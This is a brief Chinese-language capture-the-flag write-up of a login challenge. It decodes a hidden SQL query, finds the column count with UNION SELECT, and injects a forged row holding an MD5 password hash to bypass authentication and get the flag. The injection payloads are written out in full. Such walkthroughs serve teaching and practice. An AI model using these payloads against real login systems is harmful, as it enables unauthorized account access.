原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
随便输入一个用户名admin和密码123,提示wrong pass!
输入name=aa&pw=123,提示wrong user!
,说明用户名为admin
。
查看源代码发现一段编码:
经过base32+base64解码之后得到:
select * from user where username = '$name'
根据题目提示:sql注入+万能密码+md5(pw)
构造注入语句:
aa'union select 'admin','202cb962ac59075b964b07152d234b70'#&pw=123
发现列数不对,测试一下
当aa'union select 1,2,3#&pw=123
.时不报错了,结论:列数为3列。
测试一下admin的位置
当aa'union select 1,’admin‘,3#&pw=123
时为,提示wrong pass!
最终的注入语句为
aa'union select 1,’admin‘,’202cb962ac59075b964b07152d234b70‘#&pw=123
拿到flag